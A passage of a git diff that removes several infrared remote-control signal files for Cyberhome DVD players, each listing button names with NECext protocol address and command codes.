00 00 -command: 0C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0E 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0F 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 10 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 11 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 12 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 13 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 16 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 17 00 00 00 -# -name: CHAPTER_- -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 18 00 00 00 -# -name: CHAPTER_+ -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 19 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1B 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1C 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1E 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1F 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 40 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 41 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 44 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 48 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 49 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 4D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 50 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 51 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 54 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 55 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 58 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 59 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 5C 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir deleted file mode 100644 index 0dba211fc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_300-RMC-300Z/114,205.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 02 00 00 00 -# -name: BOOKMARK -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 03 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 04 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 05 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 06 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 11 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 15 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 16 00 00 00 -# -name: X_KEY_1/ALL -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 17 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 18 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 19 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1A 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1F 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 40 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 41 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 44 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 45 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 48 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 49 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 4D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 50 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 51 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 54 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 55 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 58 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 59 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 5C 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir deleted file mode 100644 index d87534d60..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_504/114,205.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 02 00 00 00 -# -name: X_KEY_1/all -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 03 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 04 00 00 00 -# -name: effect -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 05 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 06 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 11 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 13 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 15 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 16 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 17 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 18 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 19 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1A 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1F 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 40 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 41 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 44 00 00 00 -# -name: intro -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 45 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 48 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 49 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 4D 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 50 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 51 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 54 00 00 00 -# -name: bookmark -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 55 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 58 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 59 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 5C 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir deleted file mode 100644 index d527e3b08..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_ADL-528/114,205.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 02 00 00 00 -# -name: Goto -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 03 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 04 00 00 00 -# -name: Effect -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 05 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 06 00 00 00 -# -name: Bookmark -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 11 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 13 00 00 00 -# -name: Repeat_1 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 15 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 16 00 00 00 -# -name: Program -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 17 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 19 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1A 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1D 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1F 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 40 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 41 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 44 00 00 00 -# -name: Intro -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 45 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 48 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 49 00 00 00 -# -name: +Ten -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 4D 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 50 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 51 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 54 00 00 00 -# -name: Repeat_A-B -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 55 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 58 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 59 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 5C 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir deleted file mode 100644 index 32d3f7828..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD-302/114,205.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 02 00 00 00 -# -name: X_KEY_1/ALL -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 03 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 04 00 00 00 -# -name: EFFECT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 05 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 06 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 09 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 11 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 13 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 15 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 16 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 17 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 18 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 19 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1A 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1E 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1F 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 40 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 41 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 44 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 45 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 48 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 49 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 4D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 50 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 51 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 54 00 00 00 -# -name: BOOKMARK -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 55 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 58 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 59 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 5C 00 00 00 -# -name: FOW -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir deleted file mode 100644 index cad010ee8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_CH-DVD/114,205.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 02 00 00 00 -# -name: KEY_MEDIA_REPEAT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 03 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 05 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 06 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 09 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 11 00 00 00 -# -name: KEY_GOTO -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 13 00 00 00 -# -name: KEY_PROGRAM -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 15 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 16 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 17 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 18 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 19 00 00 00 -# -name: KEY_EJECTCLOSECD -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1A 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 1F 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 40 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 41 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 44 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 48 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 49 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 4D 00 00 00 -# -name: KEY_DISPLAYTOGGLE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 50 00 00 00 -# -name: KEY_ESC -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 51 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 54 00 00 00 -# -name: KEY_BOOKMARKS -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 55 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 58 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 59 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 5C 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir deleted file mode 100644 index 0f5248d44..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cyberhome/Unknown_cyberhome/114,205.ir +++ /dev/null @@ -1,152 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 03 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 04 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 05 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 09 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0A 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0C 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 0F 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 10 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 11 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 12 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 72 CD 00 00 -command: 13 00 00 00 -# -name: KEY_MENU 